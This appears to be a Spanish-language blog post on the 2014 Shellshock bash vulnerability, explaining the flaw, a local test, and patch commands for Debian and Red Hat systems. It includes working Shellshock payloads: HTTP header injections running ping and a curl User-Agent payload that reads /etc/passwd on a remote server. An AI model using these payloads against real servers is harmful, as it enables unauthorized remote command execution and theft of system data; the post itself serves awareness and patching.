El 24 de septiembre del 2014 se publicó una vulnerabilidad llamada Shellshock bash
bug, realmente es algo muy grave porque existen muchos sistemas que utilizan bash.
Ejemplos prácticos de la vulnerabilidad
Básicamente sistemas unix, linux y macos se ven afectados principalmente, este bug
lo que permite hacer al atacante es ejecutar comando en el Bash de manera remota,
Robert Graham nos pone el siguiente ejemplo.
El siguiente request es ejecutado en algunos servidores usando CGI, CGI
internamente utiliza bash, por lo tanto el sitio es vulnerable:
target-ip = [Link]/0
port = 80
banners = true
http-user-agent = shellshock-scan ([Link]
[Link])
http-header[Cookie] = () { :; }; ping -c 3 [Link]
http-header[Host] = () { :; }; ping -c 3 [Link]
http-header[Referer] = () { :; }; ping -c 3 [Link]
Al realizar ese request a un servidor vulnerable, prácticamente estaríamos
ejecutando el comando "ping" en ese servidor! Imaginen si en lugar de hacer un ping
comenzamos a exponer información privada:
$ curl -A "() { foo;};echo;/bin/cat /etc/passwd"
[Link]
También se podría escribir al programa que se propagara automáticamente, realmente
las posibilidades son infinitas, es algo muy serio.
Que sucede realmente?
El problema sucede porque bash interpreta el código inyectado al termino de una
función, esto cuando se define una variable de entorno, en los ejemplos anteriores
la función no hace absolutamente nada:
(){:;};
Es simplemente una definición, lo que viene después de esa función es lo que
realmente es el problema, ya que bash ejecutará ese código! Por ejemplo esto:
/bin/cat /etc/passwd > dumped_file
Es algo realmente serio, poder ejecutar comandos de manera remota en nuestro
sistema. Muchos servidores Apache, principalmente, utilizan CGI internamente, CGI
por su parte utiliza bash, es por eso que en el request del ejemplo anterior
termina ejecutándose en el sistema vulnerable.
Como me protejo?
Ahora bien, para saber si tu sistema es vulnerable ejecuta el siguiente comando en
tu terminal.
$ env x='() { :;}; echo vulnerable' bash -c 'echo hello'
Si te aparece un error, entonces estas protegido, pero si te aparece la palabra
vulnerable, deberías actualizar bash en tu sistema cuanto antes.
Para sistemas linux ya hay una actualización disponible, en sistemas Ubuntu, Debian
y semejantes, simplemente ejecuta el siguiente comando:
$ sudo apt-get update && sudo apt-get install --only-upgrade bash
Para sistemas CentOS, Fedora, RedHat y semejantes utiliza el siguiente comando:
$ yum -y update bash
Tristemente para mac todavía no hay una actualización, aunque estoy seguro de que
ya trabajan en ella, si eres paranoico puedes seguir esta guia para actualizar
bash.
Personalmente he actualizado mis servidores, tan pronto como me entere de esta
noticia! Así que te recomiendo hacer lo mismo.
[Link]